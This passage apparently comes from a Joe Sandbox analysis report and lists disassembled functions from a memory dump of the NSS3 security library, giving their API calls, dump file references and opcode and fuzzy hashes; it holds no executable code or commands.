Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDDF4

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDE17

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEDDE80

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 3b9bdac20055786abb77421c26de6ab9f581861c8bab9ee4b9a0450b2375b731
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: A331AFB5D006429BE700CF56C880656B7B4BFA531CB26822ADC1887B01EB70F2A5CFA0

Function 6CECFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CEA5ADC,?,00000000,00000001,?,?,00000000,?,6CE9BA55,?,?), ref: 6CECFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CECFE5F
PR_Unlock.NSS3(78831D74), ref: 6CECFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CECFED6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c6c589297400546d151c7601c5732c3396432c89b7e88d9c60a7c99afaa6b620
Instruction ID: 21d2619f0cbbcf80345509e899ccecabe42ded997f15a445e8621d4067748a97
Opcode Fuzzy Hash: c6c589297400546d151c7601c5732c3396432c89b7e88d9c60a7c99afaa6b620
Instruction Fuzzy Hash: 6C212D31F00625AFDB40AA74D90479A77B8BF0536CF240125ED14A7B42E738E864CBD2

Function 6CED3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FFE
PR_SetError.NSS3 ref: 6CED401A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: dadc7c0a3be8f049449e6909edc34a9d7364159473a6252a1f315f7213abf205
Instruction ID: 036037fc784c5246b95d6cfd63e8c5332469b942eb8b77a99a873642e4c8d3d0
Opcode Fuzzy Hash: dadc7c0a3be8f049449e6909edc34a9d7364159473a6252a1f315f7213abf205
Instruction Fuzzy Hash: 673183719047048FDB40AF79D18426EBBF1FF89318F12492ED98987700EB34E885CB92

Function 6CEC4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC5064

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: df0b1e4ef9ac79653b60af26947ba5d4905aa1eba8a764bd846cd1d3c4501d84
Instruction ID: 338ca46e7ed8d72f21691324d4ac17a6220509f16960f1a0900b0170f4060744
Opcode Fuzzy Hash: df0b1e4ef9ac79653b60af26947ba5d4905aa1eba8a764bd846cd1d3c4501d84
Instruction Fuzzy Hash: 58312BB4A05A069FDB40EF68C58566ABBF4FF08308B11456DD969D7701EB30E890CBD2

Function 6CEE9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEEA71A,FFFFFFFF,?,?), ref: 6CEE9FAB

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEEA71A,6CEEA71A,00000000), ref: 6CEE9FD9

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE136A
Part of subcall function 6CEE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE137E
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?), ref: 6CEE13CF
Part of subcall function 6CEE1340: PR_Unlock.NSS3(?,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEEA71A,6CEEA71A,00000000), ref: 6CEEA009
PR_SetError.NSS3(FFFFE013,00000000,6CEEA71A,6CEEA71A,00000000), ref: 6CEEA045

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 196527c8afb16a4e6c87f1405c3a154f2017fd2133ac5f42e186a37a5daadb4a
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 832165B46402069BF7009F55DC50F66BBB9FF5939CF24812CD81987B81EB75D918CB90

Function 6CEF2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF2E08

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEF2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEF2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEF2E95

Part of subcall function 6CEE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE1228
Part of subcall function 6CEE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEE1238
Part of subcall function 6CEE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE124B
Part of subcall function 6CEE1200: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0,00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE125D
Part of subcall function 6CEE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEE126F
Part of subcall function 6CEE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEE1280
Part of subcall function 6CEE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEE128E
Part of subcall function 6CEE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEE129A
Part of subcall function 6CEE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEE12A1

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: c5ca5d219114e72b91a5a70d4de3ec5a91f5af024b98c183d877513d2b462085
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D72108B1E003854BEB01CF549D44BAA3774AFA534CF310269DD285B742F7B2E699C392

Function 6CEAACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEAACC2

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

Part of subcall function 6CE82AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE80A1B,00000000), ref: 6CE82AF0
Part of subcall function 6CE82AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE82B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CEAAD5E

Part of subcall function 6CEC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE8B41E,00000000,00000000,?,00000000,?,6CE8B41E,00000000,00000000,00000001,?), ref: 6CEC57E0
Part of subcall function 6CEC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEC5843

CERT_DestroyCertList.NSS3(?), ref: 6CEAAD36

Part of subcall function 6CE82F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE82F65
Part of subcall function 6CE82F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE82F83

free.MOZGLUE(?), ref: 6CEAAD4F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 307d81048b8986ea13270ee65ca85872e8bb42887a4bbb870d3e5ea03a1b4318
Instruction ID: 4a2e5f27c61be154aaaec444f872bce8f284c2ef7913e56eb9fba71a130a14ff
Opcode Fuzzy Hash: 307d81048b8986ea13270ee65ca85872e8bb42887a4bbb870d3e5ea03a1b4318
Instruction Fuzzy Hash: 9521C3B1D013148FEB10DFA4D9065EEBBF4AF1520CF254068D849BB701FB31AA5ACBA1

Function 6CED3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CED3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CED3CAE
PR_Unlock.NSS3(?), ref: 6CED3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CED3D02

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 8df10a4b7f792bf1e6f435a940b24814e4894f52cda4dfd77d61153560c3d5b8
Instruction ID: 3e36d62ea38cc882fed920bb63c702341356a034060edff9abb89a0de0a1af06
Opcode Fuzzy Hash: 8df10a4b7f792bf1e6f435a940b24814e4894f52cda4dfd77d61153560c3d5b8
Instruction Fuzzy Hash: 8F11B179A00204AFDB40AF24E848A9A3778EF09368F664564ED089B712E731ED45CBE1

Function 6CEDECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEDF0AD,6CEDF150,?,6CEDF150,?,?,?), ref: 6CEDECBA

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEDECD1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEDED02

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEDED5A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 524a2134e0c6d7cc0c0f2cbe3c9467be06f0e9ac83adc9b7063f1f2b74230722
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FB21A4B1900B425BE700CF25D948B56B7F4BFA934CF26C219E81C87762EB70E595C6D1

Function 6CF0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EE14

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

memcpy.VCRUNTIME140(?,?,6CEF9767,00000000,00000000,6CEF7FFA,?,6CEF9767,?,8B7874C0,0000A48E), ref: 6CF0EE33

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 21f6931aa30def73c90c14eca85ee3c31a794d0095e726a2dc40f7418d3a3894
Instruction ID: 063083d84c94e43678c2c08bbcf42258f24259887d8d8c15a7adf785b7fc1e3a
Opcode Fuzzy Hash: 21f6931aa30def73c90c14eca85ee3c31a794d0095e726a2dc40f7418d3a3894
Instruction Fuzzy Hash: AE1125B1B0570AABEB109EA5DC94B82B3A8FF0475CF214535E959C7A40E730F464C7E2

Function 6CE8DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA06A0: TlsGetValue.KERNEL32 ref: 6CEA06C2
Part of subcall function 6CEA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CEA06D6
Part of subcall function 6CEA06A0: PR_Unlock.NSS3 ref: 6CEA06EB

CERT_NewCertList.NSS3 ref: 6CE8DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE8DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE8DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8E029

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 91796c62ab4541cd38505ad988734b97ae47be0bc2ceae2901447c554908c08d
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 00116F79A02A066FDB110EA85C00BAB75B8AF8135CF340938E81CCBB10E736C81592E1

Function 6CEA8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA8DE7
EnterCriticalSection.KERNEL32 ref: 6CEA8DFC
PR_Unlock.NSS3 ref: 6CEA8E2D
PR_SetError.NSS3 ref: 6CEA8E49

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 7a2daac3211f72d6b28cd12c1eeac6da618dc9fcdcb82b944f0e38042f3361e4
Instruction ID: e0c0c047e8e3bddda5a9970633dffecf1f1f06c3f44690c1897f5a0346033c12
Opcode Fuzzy Hash: 7a2daac3211f72d6b28cd12c1eeac6da618dc9fcdcb82b944f0e38042f3361e4
Instruction Fuzzy Hash: D3114F71A05A009FD740AFB8D444659BBF4FF05314F51496ADD89DB700EB34E895CBD2

Function 6CF2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CF15F17,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CF15F17,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF2ACDB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
